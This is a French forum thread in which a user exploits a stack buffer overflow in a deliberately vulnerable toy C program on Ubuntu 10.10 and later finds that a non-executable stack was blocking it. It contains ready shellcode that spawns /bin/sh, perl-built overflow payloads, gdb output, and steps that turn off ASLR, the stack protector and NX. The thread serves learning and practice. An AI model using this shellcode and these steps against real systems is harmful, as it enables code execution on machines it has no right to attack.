logo Homepage
Pages: [1]
  Imprimer  
Auteur Fil de discussion: Stack overflow sous Ubuntu 10.10 (noyau 2.6.35-22-generic)  (Lu 2719 fois)
Ge0

Profil challenge

Classement : 16/54254

Membre Senior
****
Hors ligne Hors ligne
Messages: 377


Voir le profil WWW
« le: 30 Novembre 2010 à 21:06:15 »

Salut,

Ce sujet a pour but d'éclaircir un point qui me titille dans l'exploitation d'un débordement de pile dans un programme lambda - prévu à cet usage - compilé sous un environnement comme cité dans le titre.

On considère le programme suivant :
Code:
geo@ubuntu:~/C/vuln$ cat vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void copy(const char*);

int main(int argc, char **argv) {
    if(argc < 2) {
        printf("Utilisation : %s <str>\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    printf("Copying... ");
    copy(argv[1]);
    printf("Ok\n");

    return EXIT_SUCCESS;
}

void copy(const char* src) {
    char dest[128];
    strcpy(dest, src);
}

On remarque que le programme va faire appel à la procédure copy, qui, elle-même, va faire appel à la fonction strcpy sans prudence... Le tableau de caractères "dest" étant limité.

Je désactive l'option "ASLR" pour ne pas être perturbé par le secouement des adresses mémoires au niveau de la pile - elles sont différentes à chaque exécution. Un simple '0' à écrire dans /proc/sys/kernel/randomize_va_space fait l'affaire.

Je compile mon programme avec la ligne de commande suivante :
Code:
geo@ubuntu:~/C/vuln$ gcc -o vuln vuln.c -fno-stack-protector -ggdb

Cela me permettra d'ôter la protection de la pile que gcc insère pour éviter les débordements de tampons et l'option -ggdb facilite le débogage.

Je débogue le programme sans tarder et je parviens vite à localiser la sauvegarde du pointeur d'instruction de main que je vais écraser par un pointeur sur mon shellcode.

Je fais d'abord quelques manipulations préalables :

Code:
(gdb) disass copy
Dump of assembler code for function copy:
   0x080484b5 <+0>:    push   ebp
   0x080484b6 <+1>:    mov    ebp,esp
   0x080484b8 <+3>:    sub    esp,0x98
   0x080484be <+9>:    mov    eax,DWORD PTR [ebp+0x8]
   0x080484c1 <+12>:    mov    DWORD PTR [esp+0x4],eax
   0x080484c5 <+16>:    lea    eax,[ebp-0x88]
   0x080484cb <+22>:    mov    DWORD PTR [esp],eax
   0x080484ce <+25>:    call   0x8048354 <strcpy@plt>
   0x080484d3 <+30>:    leave 
   0x080484d4 <+31>:    ret   
End of assembler dump.
(gdb) b *main+31
Breakpoint 2 at 0x8048473: file vuln.c, line 9.

Je lance avec mon schéma d'exploitation :

Code:
(gdb) r `perl -e 'print "a" x 140 . "\x40\xf3\xff\xbf" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`
Starting program: /home/geo/C/vuln/vuln `perl -e 'print "a" x 140 . "\x40\xf3\xff\xbf" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`

Program received signal SIGSEGV, Segmentation fault.
0x080484d4 in copy (src=Cannot access memory at address 0x61616169
) at vuln.c:23
23    }
(gdb)

C'est ce fameux signal SIGSEGV qui me stoppe. Mais voyons tout de même l'état des registres...

Code:
(gdb) x/i $eip
=> 0x80484d4 <copy+31>:    ret   
(gdb) x/x $esp
0xbffff33c:    0xbffff340
(gdb) x/16i 0xbffff340
   0xbffff340:    xor    eax,eax
   0xbffff342:    xor    ebx,ebx
   0xbffff344:    xor    ecx,ecx
   0xbffff346:    xor    edx,edx
   0xbffff348:    push   edx
   0xbffff349:    push   0x68732f6e
   0xbffff34e:    push   0x69622f2f
   0xbffff353:    mov    ebx,esp
   0xbffff355:    push   edx
   0xbffff356:    push   ebx
   0xbffff357:    mov    ecx,esp
   0xbffff359:    mov    al,0xb
   0xbffff35b:    int    0x80
   0xbffff35d:    add    BYTE PTR [eax+eax*1],dl
   0xbffff360:    add    al,BYTE PTR [eax]
   0xbffff362:    add    BYTE PTR [eax],al

Si ce fameux signal SIGSEGV n'intervenait pas, je réussirais théoriquement à exécuter mon shellcode. Comme vous pouvez le voir, l'instruction qui devrait s'exécuter est le "ret", qui a pour effet de dépiler la valeur au sommet de la pile d'exécution et de la placer dans le pointeur d'instructions. En l'occurrence, cette valeur est une adresse mémoire qui fait référence à mon shellcode. Donc je pense être bon.

Je me suis dit qu'il fallait peut-être que je fasse attention à la sauvegarde du pointeur sur la base de la pile ainsi qu'à la valeur originale de mon argument unique ? Seul problème, l'adresse de la source de mes données (src) varie à chaque exécution du programme ; et même si j'arrive à la réecrire pour la faire pointer sur un espace mémoire qui existe, j'ai toujours un signal SIGSEGV. Un exemple :

Code:
(gdb) r `perl -e 'print "a" x 136 . "\x59\xf3\xff\xbf" . "\x44\xf5\xff\xbf" . "\xb0\xf5\xff\xbf" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x44\xf5\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/geo/C/vuln/vuln `perl -e 'print "a" x 136 . "\x59\xf3\xff\xbf" . "\x44\xf5\xff\xbf" . "\xb0\xf5\xff\xbf" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x44\xf5\xff\xbf"'`

Breakpoint 4, copy (
    src=0xbffff58b 'a' <se r\377\[...]) at vuln.c:20
20    void copy(const char* src) {
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x080484d4 in copy (src=0xbffff544 "k\365\377\277") at vuln.c:23
23    }
(gdb)

Le "\x59\xf3\xff\xbf" est la sauvegarde d'ebp et pointe sur le second "\x44\xf5\xff\xbf" - car il y en a deux et le premier était là au cas où - qui, lui-même, pointe sur mon shellcode. C'est une adresse mémoire accessible, et pourtant, ça ne marche pas.

Peut-être que l'environnement d'exécution - si c'est correct à dire - détecte un écrasement des arguments passés à la fonction ? Je suis perdu...

Si quelqu'un a la patience de m'aider, alors je lui en serai très reconnaissant car je reconnais que tout cela n'est pas une partie de plaisir et qu'il n'y a aucun intérêt véritable derrière si ce n'est comprendre pourquoi ça ne fonctionne pas.

Merci d'avance.

Journalisée
Ge0

Profil challenge

Classement : 16/54254

Membre Senior
****
Hors ligne Hors ligne
Messages: 377


Voir le profil WWW
« #1 le: 30 Novembre 2010 à 22:31:49 »

Bon, en fait, c'était une histoire de pile non-exécutable.

Les versions d'Ubuntu émulent, depuis 10.04, la présence du bit "NX" - Non eXecutable - qui interdit l'exécution de code dans des régions mémoires non appropriées telles que la pile, le tas, ... Ce bit est présent dans les processeurs récents et si tel est le cas, il se désactive dans le BIOS.

Par contre, si vous n'avez pas cette fonctionnalité dans votre processeur, c'est que votre version d'Ubuntu l'émule. Pour cela, il suffit de charger le noyau avec l'option "noexec=off". Si vous avez grub, une petite modification de son fichier de configuration suffit.

Problème résolu.
Journalisée
Pages: [1]
  Imprimer  
 
Aller à: